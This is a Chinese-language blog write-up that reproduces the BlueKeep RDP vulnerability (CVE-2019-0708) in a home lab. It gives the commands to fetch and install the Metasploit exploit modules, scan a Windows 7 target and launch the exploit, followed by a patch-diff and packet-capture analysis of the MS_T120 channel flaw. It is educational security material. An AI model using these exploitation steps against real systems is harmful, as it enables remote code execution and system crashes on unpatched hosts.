windows远程桌面漏洞(CVE-2019-0708)

文章目录
  1. 1. 前言
  2. 2. 复现环境
  3. 3. 准备过程
  4. 4. 复现步骤
  5. 5. 漏洞分析
  6. 6. 引用资料

前言

2019年5月15号Windows发布补丁,该补丁修复了远程桌面中存在的远程代码执行漏洞CVE-2019-0708,该漏洞通过检查用户的身份验证,绕过认证,可直接通过rdp协议进行连接并发送恶意代码。一旦被利用会导致服务器入侵,可造成像WannaCry永恒之蓝漏洞一样大规模的感染。

2019年9月7日上午。Metasploit在推特上发布消息称,Metasploit正式集成针对CVE-2019-0708(也称为BlueKeep)的漏洞利用模块。

注:本文的漏洞分析部分超出了我个人的能力,其全部来自于中文链接中的第一个网页。对于这个分析我也无法全部理解,如果您(看到这个文章的人)对此有什么个人见解,欢迎邮件和我讨论。

复现环境

攻击机:kali (IP: 192.168.40.131)

靶机:window7 旗舰版 (IP: 192.168.40.128)

准备过程

首先,我们更新一下kali中的msf模块(注,本文写成时msf已经更新至5.0,部分步骤可能不同)。

1
apt-get install metasploit-framework

更新后,我们下载漏洞的EXP:

1
2
3
4
5
6
7
wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

下载EXP后,我们将其复制到MSF模块中

1
2
3
4
5
6
7
8
9
mkdir  -p /usr/share/metasploit-framework/modules/exploits/windows/rdp/

cp rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb

cp rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb

cp cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

cp cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

确认windows已开启远程桌面服务(这里特别注意一下,win7只有旗舰版和企业版才有远程桌面服务,家庭版没有)

这里有一个坑,部分电脑这里只有远程协助却没有远程桌面选项,如果出现这种情况,首先确认你的win7是否是旗舰版或者企业版。如果版本没有问题的话,那可能是win7组策略设置导致没有远程桌面选项,我们需要修改组策略。

解决方法:开始-运行-gpedit.msc-计算机配置—–>管理模板—–>网络—–>网络连接—–>Windows防火墙—–>标准配置文件—–>Windows防火墙允许入站远程桌面例外更改为启用即可。

复现步骤

打开msf。

1
msfconsole

打开后加载以下刚才复制的EXP:

1
reload_all

载入后搜索0708,找到我们需要的EXP。

1
search 0708

这里可以看到有四个模块,我们需要第0个和第3个,标号为0的模块是一个探测对方是否存在0708漏洞的模块,而标号为3的模块是利用0708漏洞的模块。

接下来我们先探测一下靶机是否存在这个漏洞。

1
2
3
4
5
use 0

set rhosts 192.168.40.128

run

可以看到返回说这个目标非常脆弱,这意味着对象存在着0708漏洞,接下来我们用back指令返回,选择3号模块开始使用这个漏洞对目标进行渗透。

1
2
3
4
5
use 3

set rhosts 192.168.40.128

set target 3

这里特别注意一下,target有很多不同的选择,可以用show
targets查看。务必选择对应靶机的版本。

如果这里没有选择对应的版本的话,会出现直接让靶机蓝屏的情况。请务必多尝试几个不同的target。(反正我全部用完了都是蓝屏…..

这里出现了一些bug,我无论使用哪个target都是蓝屏,反复尝试过之后只能确定可能是靶机的问题。如果成功的话,会回弹一个shell,可以执行任意代码,且权限为root。

漏洞分析

Rdp基础

RDP 协议基于 T.128(T.120 协议族)提供多通道通信,并进行了拓展。

远程桌面协议(RDP)支持客户端建立点到点的连接,并定义了通信双方在虚拟通道间的数据通信方式,。这种虚拟通道为双向数据通道,可以扩展RDP的功能。Windows
Server 2000在RDP
v5.1中定义了32种静态虚拟通道(SVC),但是因为将来要定义的动态虚拟通道数量的限制,因此专用的通道svc数量受到一定限制。SVC是在会话开始时创建的,并在会话终止前保持不变,但DVC不同,因为它是根据用户需求来创建和删除的。

服务端在初始化阶段,会创建MS_T120, Index 为 31 的通道。在收到MCS Connect
Initial数据封包后进行通道创建和绑定操作。

在IcaBindVirtualChannels函数中进行绑定时,IcaFindChannelByName函数只根据通道名进行通道查找。当通道名为MS_T120(不区分大小写)时,会找到系统内部通道 MS_T120的通道并与之绑定,绑定后,通道索引会即被更改为新的通道索引。

参考mcafee,seebug

本人用win7sp1 x64进行测试

查看termdd.sys,有修改

对比补丁前后

13628这个子模块变化比较大,先看看

发现加了stricmp比较,和ms_t120这个通道比较,为0就用写死的v19即31(rdp通道编号)作为第三个参数传入13ec8这个子模块,所以这里可以看出漏洞点应该是ms_t120这个通道,是就触发漏洞。

//bindiff没解析出_IcaBindChannel和_IcaBindVirtualChannels。

在安全机制启用前,系统初始化了RDP连接序列,并完成通道的建立,这导致了该漏洞可形成蠕虫。

在rdp的gcc协商初始化序列中,ms_t120这个svc会被绑定作为引用通道31。

这个通道编号31在microsoft内部使用,在客户端请求连接中不会出现ms_t120这个svc。

但是在GCC协商初始化的过程中,客户端提供的通道名称并不在服务器端的白名单中,这意味着攻击者将能够设置另一个名为“MS_T120”的不在编号31的SVC通道,这导致目标系统发生堆内存崩溃并实现远程代码执行。

MS_T120引用通道会在rdpwsx.dll中创建,堆内存也会在rdpwp.sys中分配内存池。当MS_T120引用通道在通道编号非31的场景下建立时,便会发生堆内存崩溃。

微软在termdd.sys的_IcaBindVirtualChannels和_IcaRebindVirtualChannels两个函数中为客户端的连接请求部分添加了针对通道名称“MS_T120”的检查代码,来保证ms_t120是和通道31进行绑定。

利用wireshark获取rdp数据包(winn2003stand without 0708 patch)

正常rdp连接:

tcp三次握手后发送rdp数据,利用decode as tpkt解出rdp数据包

//第二遍tcp握手后(neg req=fff)才开始发clientdata

没有ms_t120通道信息

此处本人推测ms_t120通道编号是1,channelCount就是channelDefArray元素数,验证漏洞存在!

利用./rdesktop(第二个poc)对某僵尸主机发送的数据包:

此时推测ms_t120通道编号为2,验证漏洞存在!

引用资料

英文:

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/(推荐)
https://medium.com/@straightblast426/a-debugging-primer-with-cve-2019-0708-ccfa266682f6

https://wazehell.io/2019/05/22/cve-2019-0708-technical-analysis-rdp-rce/

https://www.malwaretech.com/2019/05/analysis-of-cve-2019-0708-bluekeep.html

https://medium.com/@ab_65156/proactive-detection-content-cve-2019-0708-vs-mitre-att-ck-sigma-elastic-and-arcsight-22f9ebae7d82

https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html

https://www.zerodayinitiative.com/blog/2019/5/27/cve-2019-0708-a-comprehensive-analysis-of-a-remote-desktop-services-vulnerability

中文:

https://www.freebuf.com/vuls/205380.html

https://xz.aliyun.com/t/5295(翻译zerodayinitiative)

https://www.anquanke.com/post/id/178964(翻译mcafee)

https://www.kwok.fun/system-safety/119.html